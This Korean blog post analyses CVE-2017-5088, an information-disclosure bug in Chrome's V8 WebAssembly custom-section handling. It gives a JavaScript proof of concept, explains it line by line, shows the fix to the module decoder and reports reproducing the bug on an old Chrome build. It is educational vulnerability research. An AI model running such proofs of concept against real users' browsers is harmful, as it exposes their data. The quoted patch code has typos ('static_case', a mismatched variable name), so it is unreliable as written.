본 글은 [이가현, 최형기 성균관대학교 「WebAssembly 기능 도입으로 인해 크롬에 서 발생한 오류들의 분석」, 한국소프트웨어종합학 술대회, 온라인, 2020]을 참고하여 작성한 글임을 사전에 밝힌다.
DBpia
논문, 학술저널 검색 플랫폼 서비스
www.dbpia.co.kr
CVE-2017-5088
59.0.3071.104 for Mac, Windows, Linux 그리고 59.0.3071.117 for Android 버전 이하에서 발생하는
취약점으로 초기의 V8 엔진이 Wasm의 사용자 정의 섹션 (Custom Section)을 엄밀하게 다루지 않아
발생하는 취약점이다.
Custom Section은 개발자가 임의로 데이터를 저장하는 섹션이기에
API 키나 암호화 키 등 민감한 정보가 포함될 수 있어 외부에 노출되면 안 되나,
본 취약점을 통해선 Custom Section의 내용을 웹 페이지에서 노출시키는 것이 가능하다.
PoC 분석
// PoC Code
function log(){
var str = "<h3>";
for(var i=0;i<arguments.length;i++){
str+=arguments[i];
}
str += "</h3>";
document.write(str);
}
var m = WebAssembly.Module(new Uint8Array('00 61 73 6d 01 00 00 00 00 05 04 42 42 42 42 0 1F 04 41 41 41 41'.split(/[\s\r\n]+/g).map(v => parseInt(v, 16))));
var c = WebAssembly.Module.customSections(m, 'AAAA');
var ar = new Int8Array(c[0]);
for (i = 0; i < ar.length; i++) {
log(ar[i]);
}
CVE-2017-5088 취약점을 트리거 하기 위한 PoC 코드는 위와 같으며
위 PoC 코드를 분석해 보겠다.
function log(){
var str = "<h3>";
for(var i=0;i<arguments.length;i++){
str+=arguments[i];
}
str += "</h3>";
document.write(str);
}
위 PoC 코드의 log 함수는 전달된 내용을 <h3> 태그로 감싸 html 페이지에
텍스트 형식으로 출력해 주는 함수이다.
var m = WebAssembly.Module(new Uint8Array(
'
00 61 73 6d // magic number ("asm")
01 00 00 00 // version (1.0)
00 05 04 42 42 42 42 0
1F 04 41 41 41 41
'
.split(/[\s\r\n]+/g)
.map(v => parseInt(v, 16))
));
위 코드는 WebAssembly.Module(bufferSource)의 형식으로 생성자 함수를 호출해
ArrayBuffer를 8비트의 부호 없는 정수로 끊어 m이라는 WebAssembly 모듈을 생성하는 함수이다.
위 바이너리에선 'BBBB'와 'AAAA'라는 사용자 정의 섹션(Custom Section)이 포함되어 있다.
var c = WebAssembly.Module.customSections(m, 'AAAA');
위 코드에선 WebAssembly 모듈에서 사용자 정의 섹션(Custom Section)을 검색하고,
해당 위치의 데이터를 반환한다.
이때의 Custom Section이란 WebAssembly 모듈의 표준 섹션 외에 개발자가 임의로 정의한 데이터를
포함할 수 있는 섹션을 의미한다. 이 섹션에선 개발자가 이름과 내용을 자유롭게 정의할 수 있다.
즉 m으로 정의된 Wasm 모듈에서 'AAAA'라는 이름의 Custom Section 데이터를 가져오는 것이다.
var ar = new Int8Array(c[0]);
for (i = 0; i < ar.length; i++) {
log(ar[i]);
}
위 코드는 Custom Section에서 가져온 데이터들을 ArrayBuffer 형식으로 ar이란 변수에 저장한다.
이후, 이렇게 받아온 ar변수의 내용을 log 함수를 사용해 html 페이지에 랜더링 하게 된다.
위 PoC 코드는 결과적으로 Custom Section의 내용을 html 페이지에 출력해 주는 것인데,
원래대로라면 Custom Section의 내용이 웹 페이지에 드러나서는 안된다.
PoC 코드에선 'AAAA', 'BBBB'와 같은 내용을 Custom Section에 입력했지만
본래 Custom Section은 개발자가 임의로 데이터를 저장 가능한 섹션이기에
API 키, 암호화 키 등이 저장되어 있을 수 있다.
취약점 수정
본 CVE-2017-5088 취약점은 PoC 코드 자체의 에러가 아닌, Chrome의 v8엔진이 Custom Section의
내용을 다루는 데에 있어 문제가 있던 것이었기에 Chrome은 이를 패치하여 사용자 정의 섹션의 데이터를 확인하는
반복문의 범위를 수정하여 패치하였다.
// CVE-2017-5088 수정 전
TRACE("Section: &%s\n", SectionName(section_code_));
if (section_code_ == kUnknownSectionCode &&
section_end_ > decoder_.pc()) { // 수정 전
uint32_t remaining
= static_case<uint32_t>(section_end - decoder_.pc());
decoder_.consume_bytes(remaining, "section payload");
} else { return;
}
// CVE-2017-5088 수정 후
TRACE("Section: &%s\n", SectionName(section_code_));
if (section_code_ == kUnknownSectionCode &&
section_end_ >= decoder_.pc()) { // 수정 후
uint32_t remaining
= static_case<uint32_t>(section_end - decoder_.pc());
decoder_.consume_bytes(remaining, "section payload");
} else { return;
}
위 코드들은 사용자 정의 섹션의 데이터를 확인하는 부분으로
Chrome v8 엔진의 module-decoder가 section 데이터를 처리할 때 발생하는 취약점을 어떻게 패치하였는가를 보여준다.
취약점을 수정하기 전의 코드는 아래와 같다.
TRACE("Section: &%s\n", SectionName(section_code_));
TRACE 문은 디버깅 로그로, 현재 처리 중인 섹션의 이름을 출력하는데
섹션의 식별 코드 section_code_를 이름으로 변환한다.
if (section_code_ == kUnknownSectionCode &&
section_end_ > decoder_.pc()) {
수정 전의 조건문은 섹션이 표준 섹션( Code Section , Memory Section )이 아닌 Custom Section인지,
현재 읽기 위치 ( decoder.pc() )가 섹션의 끝( section_end_ )을 초과하지 않는지 확인한다.
uint32_t remaining
= static_case<uint32_t>(section_end - decoder_.pc());
decoder_.consume_bytes(remaining, "section payload");
위 코드에선 이전의 조건문에 해당할 경우 섹션의 끝과 현재 읽기 위치 사이의 바이트 수를 계산하고,
계산한 바이트 수만큼 데이터를 읽어와 섹션 페이로드를 처리하게 된다.
} else {
return;
}
이전의 조건문에 해당하지 않는 경우엔, 그대로 반환한다.
위 취약점을 수정하기 전의 코드에서 CVE-2017-5088이 발생하는 문제의 부분은 아래와 같다.
if (section_code_ == kUnknownSectionCode &&
section_end_ > decoder_.pc()) { // 수정 전
if (section_code_ == kUnknownSectionCode &&
section_end_ >= decoder_.pc()) { // 수정 후
수정 전의 코드에서 현재 읽기 위치가 섹션의 끝에 위치할 때 데이터를 끝까지 처리하지 못하고
데이터가 노출되는 상황이 발생하는 것이었다. 따라서 조건문의 범위를 수정하여
module-decoder가 섹션 데이터를 처리할 때 끝까지 처리할 수 있도록 수정하였다.
재현
Linux 59.0.3071.86 64bit Chrome, Ubuntu 16.04.7 x64 환경에서 재현하였으며
개발자 모드 콘솔에 PoC 코드를 입력했을 때
Custom Section의 내용이 웹 페이지에 출력되는 것을 확인 가능하다.
Custom Section의 내용이 출력된 모습
'Project' 카테고리의 다른 글
[Wasm] Wasm Module 구조 (0) | 2025.02.27 |
---|---|
[Wasm] WebAssembly API란? (0) | 2025.02.27 |
[Wasm] CVE-2018-6036(Underflow) 취약점 분석 및 재현 (0) | 2025.02.27 |
[Wasm] CVE-2018-6092(Overflow) 취약점 분석 및 재현 (0) | 2025.02.27 |
[Wasm] 웹 어셈블리 c코드로 변환하기 (0) | 2025.02.27 |